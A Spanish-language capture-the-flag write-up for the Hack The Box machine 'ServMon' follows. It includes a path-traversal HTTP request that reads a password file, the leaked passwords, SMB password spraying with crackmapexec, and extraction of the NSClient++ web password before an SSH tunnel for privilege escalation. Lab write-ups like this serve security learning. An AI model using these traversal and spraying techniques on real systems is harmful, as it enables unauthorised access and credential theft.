Resumen:

Aprovechando un acceso a un ftp anónimo, se pudo llegar a obtener credenciales, con estas, se logró acceso a la máquina con un usuario limitado. Una vez dentro y aprovechando una vulnerabilidad en el servicio NSClient++ se pudo obtener acceso SYSTEM.

Punto de Apoyo Inicial

Enumeración convencional con nmap.

Acceso a ftp anónimo.

En los archivos del ftp anónimo se pudo ver el siguiente mensaje:

Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Obteniendo Usuario

Por lo que aprovechando este exploit se pudo leer el archivo.

https://www.exploit-db.com/exploits/47774

GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: servmon.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://servmon.htb/Pages/login.htm
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: dataPort=6063; lang_type=0x0404%24Chinese_Taiwan

HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo:

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

root@kali:/home/kali/HTB/servmon# crackmapexec smb servmon.htb -u Nathan -p Passwords.txt
SMB 10.10.10.184 445 SERVMON [] Windows 10.0 Build 18362 x64 (name:SERVMON) (domain:SERVMON) (signing:False) (SMBv1:False) SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE root@kali:/home/kali/HTB/servmon# crackmapexec smb servmon.htb -u Nadine -p Passwords.txt SMB 10.10.10.184 445 SERVMON [] Windows 10.0 Build 18362 x64 (name:SERVMON) (domain:SERVMON) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] SERVMON\Nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [+] SERVMON\Nadine:L1k3B1gBut7s@W0rk
root@kali:/home/kali/HTB/servmon# smbclient.py Nadine:L1k3B1gBut7s@[email protected]
Impacket v0.9.21.dev1+20200325.171015.69fee03f – Copyright 2020 SecureAuth Corporation

Con la Clave es L1k3B1gBut7s@W0rk para el ususario Nadine

root@kali:/home/kali/HTB/servmon# ssh [email protected]
The authenticity of host ‘servmon.htb (10.10.10.184)’ can’t be established.
ECDSA key fingerprint is SHA256:l00hI7FlitUwW9ndgFDHLzImSDNxQcjLOKxQPRmbzls.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ‘servmon.htb,10.10.10.184’ (ECDSA) to the list of known hosts.
[email protected]’s password:
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>cd Desktop

nadine@SERVMON C:\Users\Nadine\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 728C-D22C

Directory of C:\Users\Nadine\Desktop

08/04/2020 22:28 .
08/04/2020 22:28 ..
12/04/2020 19:54 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 27,413,000,192 bytes free

Obteniendo System

Enumeración de directorios y lectura, llegamos a esto:

https://www.exploit-db.com/exploits/46802

PS C:\Program Files\NSClient++> .\nscp.exe web password –display
Current password: ew2x6SsGTxjRwXOT

root@kali:/home/kali/HTB/servmon# ssh -L 8443:127.0.0.1:8443 [email protected]
[email protected]’s password:

Ahora con este tunnel SSH permitirá el acceso a NSClient++ Y con ello explotar como se muestra en el link anterior.